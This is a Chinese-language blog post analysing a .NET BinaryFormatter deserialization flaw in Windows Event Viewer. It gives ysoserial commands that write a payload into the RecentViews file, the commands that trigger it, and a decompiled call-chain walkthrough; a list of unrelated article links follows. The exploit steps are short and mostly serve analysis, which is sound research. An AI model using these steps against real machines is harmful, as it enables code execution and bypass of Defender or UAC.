0x01 漏洞背景

4月26日@Orange Tsai 在Twitter上发表一个有关Windows事件查看器的反序列化漏洞,可以用来绕过Windows Defender或者ByPass UAC等其它攻击场景,Orange视频里也给出了攻击载荷 DataSet

ysoserial.exe -o raw -f BinaryFormatter -g DataSet -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews

0x02 漏洞复现

@Orange Tsai 给出的ysoserial DataSet载荷因为笔者复现未成功,所以替换用TypeConfuseDelegate作为攻击载荷,%LOCALAPPDATA% 等同于 C:\Users\用户名\AppData\Local 目录,Eventv~1 代表目录名前6个字符 Eventv开头的第1个目录,其实可指定为本地的 Event Viewer文件夹,文件名一定得是固定的RecentViews,至于为什么可以看后续的原理分析,ysoserial 生成攻击载荷命令如下,有个小小的建议:可以先打开一次事件查看器,便于操作系统创建EventViewer目录,否则执行ysoserial命令会抛出 "系统找不到路径"错误

ysoserial.exe -o raw -f BinaryFormatter -g TypeConfuseDelegate -c calc > %LOCALAPPDATA%\Microsoft\Eventv~1\RecentViews

打开Windows事件查看器或者输入如下所示的命令行均可触发漏洞

cmd/c eventvwr.msc
cmd/c eventvwr.exe

0x03 调用链分析

打开事件查看器Windows系统会启动mmc.exe去关联eventvwr.msc,进中mmc.exe右击 ”属性“ -> .NET程序集 如下图所示

反编译EventViewer.dll,笔者从EventViewer事件查看器核心代码入手,至于它继承的父类FormView及基类View不再跟进,EventViewerHomePage类是主入口,实现基类View里的虚方法OnInitialize,

接着对EventHomeControl类做了初始化, UpdateUIDelegate(this.UpdateUI) 表示 EventHomeControl 读取数据并加载数据到可视化UI界面

public EventHomeControl()
{this.InitializeComponent();UIControlProcessing.SetControlSystemFont(this);UIControlProcessing.SetControlTitleFont(this.eventViewerLabel, this.Font);this.updateUI = new EventHomeControl.UpdateUIDelegate(this.UpdateUI);this.enableControl = new EventHomeControl.EnableControlDelegate(this.EnableControl);
}

this.UpdateUI方法对可视化操作选项做了多重判断,有更新事件列表、有更新日志摘要、有更新事件列表当前对应的进程信息、还有我们重点关注的case 1 更新最近访问浏览的信息,进入UpdateRecentViewsUI 条件分支

UpdateRecentViewsUI方法调用了UpdateRecentViewsListViewUI,并且将属性 RecentViewsDataArrayList的值传递给此方法,如下图

RecentViewsDataArrayList属于EventsNode类的成员,数据来源自LoadDataForRecentView执行后的结果,这里是将EventsNode.recentViewsDataArrayList的值赋给了RecentViewsDataArrayList属性,代码如下

internal ArrayList RecentViewsDataArrayList
{get{this.LoadDataForRecentViews();return EventsNode.recentViewsDataArrayList;}
}

LoadDataForRecentView方法再调用LoadMostRecentViewsDataFromFile,

读取 EventsNode.recentViewsFile 流后用 Deserialize(fileStream) 去反序列化,再将集合赋给 recentViewsDataArrayList,这样正常情况RecentViewsDataArrayList就获取到了最近浏览的数据。代码如下

private void LoadMostRecentViewsDataFromFile()
{try{if (!string.IsNullOrEmpty(EventsNode.recentViewsFile) && File.Exists(EventsNode.recentViewsFile)){FileStream fileStream = new FileStream(EventsNode.recentViewsFile, FileMode.Open);object syncRoot = EventsNode.recentViewsDataArrayList.SyncRoot;lock (syncRoot){EventsNode.recentViewsDataArrayList = (ArrayList)new BinaryFormatter().Deserialize(fileStream);}fileStream.Close();}
}catch (FileNotFoundException){}
}

再来细看下EventsNode.recentViewsFile,整个定义在EventsNode类构造方法里分了3步,笔者个人觉得判断逻辑有些罗里吧嗦的 

第1步

Environment.SpecialFolder.CommonApplicationData 在Windows系统里表示 "C:\Users\用户名\AppData\Roaming",StandardStringValues类自定义多个静态变量,如MicrosoftFolderName代表"Microsoft", LIN_EventViewer 代表 " Event Viewer ";

第2步

用 CommonApplicationData 替代 LocalApplicationData,LocalApplicationData代表 " C:\Users\用户名\AppData\Local ";

第3步

将前两步和“RecentViews”串起来,最终得到 recentViewsFile = ”C:\Users\用户名\AppData\Local\Microsoft\Event Viewer\RecentViews“,所以笔者在上小节复现的时候提到RecentViews文件名是固定的不能改。

如上图 ysoserial 生成攻击载荷写入到 \Microsoft\Event Viewer\RecentViews,打开事件查看器即可触发漏洞。

0x04 结语

漏洞的主体调用链如下

-> View -> FormView -> EventViewerHomePage -> EventHomeControl -> UpdateUIDelegate(委托)
-> UpdateUI -> UpdateRecentViewsUI -> UpdateRecentViewsListViewUI -> RecentViewsDataArrayList
-> LoadDataForRecentView -> LoadMostRecentViewsDataFromFile -> BinaryFormatter().Deserialize

文章还可以在我的博客上在线阅读https://www.cnblogs.com/Ivan1ee,

技术群:添加小编微信并备注进群

小编微信:mm1552923

公众号:dotNet编程大全

干货 | 最新Windows事件查看器.NET反序列化漏洞分析相关推荐

  1. Windows 事件查看器(收集)

    事件查看器相当于一本厚厚的系统日志,可以查看关于硬件.软件和系统问题的信息,也可以监视 Windows 的安全事件 提示:除了可以在"控制面板→管理工具"中找到"事件查看 ...

  2. Windows事件查看器_ID一览表

    事件查看器从简单的查看电脑登录信息到检查系统是否出现错误,是否被入侵都有着很重要的作用,Microsoft为了简便,采用事件ID来代表一些信息,下面是我从Microsoft找来的WIN2003的对应关 ...

  3. 如何在 Windows XP 的事件查看器中查看和管理事件日志

    事件查看器 在 Windows XP 中,事件是在系统或程序中发生的.要求通知用户的任何重要事情,或者是添加到日志中的项.事件日志服务在事件查看器中记录应用程序.安全和系统事件.通过 使用事件查看器中 ...

  4. 使用windows的事件查看器(eventvwr),查看、电脑执行过的你不知道的操作・开机・关机时间

    ■前言 今天单位电脑开机之后,Chrome浏览器突然消失了. 通过事件查看器发现,开机系统启动了一个power的程序, (在[事件查看器] ⇒[应用程序和服务日志] ⇒ [windows powers ...

  5. 服务器事件查看器根据登录id如何查找信息,Windows中如何查看日志(如查看远程登陆的IP地址)以及常用日志ID...

    概述 在Windows中可以使用 事件查看器 来查看相关日志,并结合日志ID进行日志筛选.常见的日志有: 4634 - 帐户被注销 4647 - 用户发起注销 4624 - 帐户已成功登录(可以查看 ...

  6. 使用事件查看器进行windows补丁安装状态确认

    windows补丁安装完成之后无论成功与否都会有补丁的安装记录,如何确认是否安装成功呢?这里给大家分享其中一种利用事件查看器,查看补丁是否安装成功的办法. 1.win+r调出运行,输入eventvwr ...

  7. Windows Server 2019或2016 无法运行服务器管理器、控制面板部分功能、事件查看器等解决办法

    问题: 将 Windows Server 2019或2016 .NET Framework移除. IIS卸载后,服务器管理器.控制面板部分功能.事件查看器等都无法正常开启. 解决: 打开CMD,输入D ...

  8. 使用批处理for命令清除事件查看器所有Windows EventLog日志

    修改自http://www.codeweblog.com/使用批处理清除事件查看器所有windows-eventlog日志的代码/ @ECHO OFF TITLE 清除所有事件查看器里看到的Event ...

  9. 巧用事件查看器维护服务器安全

    巧用事件查看器维护服务器安全<?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" ...

最新文章

  1. android fragment activity 交互,Android基础之Fragment与Activity交互详解
  2. B - Networking - poj 1287
  3. HTML基础_Day03
  4. ORA-04028: cannot generate diana for object xxx
  5. 算法(22)-leetcode-剑指offer6
  6. python文件编码转换工具_python实现unicode转中文及转换默认编码的方法
  7. Visual C++中回调函数使用的变身大法
  8. poj 2479 (DP)
  9. sdi线缆标准_影片创作与未来标准监看——监视器DP-V2421使用手记
  10. Shiro原理以及运行流程
  11. hah4h4h4h4 im her3
  12. 通过百度BAE搭建微信二次开发的服务(2)
  13. 电话号码的字母组合---2022/01/23
  14. 拉姆达999城市电话114 V3.3.1
  15. [AS日记]MacOS的Android Studio卡在Building Gradle Project info走不动 的处理方法
  16. 微信公众号留言功能实现方法分享
  17. 雷军在联想内部分享,把小米讲透了!
  18. 7 个支持敏捷的开源项目管理工具,更好地管理项目
  19. 浏览器标签页形式运行【js代码】,小书签
  20. 2008春晚,赵本山之《火炬手》(现场版最新完整台词)

热门文章

  1. 杀毒Trojan.DL.Agent.xdw,清除弹出网页
  2. 引论及进程管理 题量: 25 满分: 100
  3. 小米手机、红米手机、小米Pad屏幕四周不停闪烁的解决办法,亲测成功!
  4. 波音发布小巧型无人直升机,可一次载重227千克
  5. 分享BlueStacks蓝手指安卓模拟器
  6. Skydrive Pro Sync failed
  7. 开机自动启动ros节点--robot_upstart
  8. VEEAM 7 tape还原的各类小麻烦
  9. 如何给视频添加配音?掌握这些配音方法就够了
  10. open3D源码解读第四篇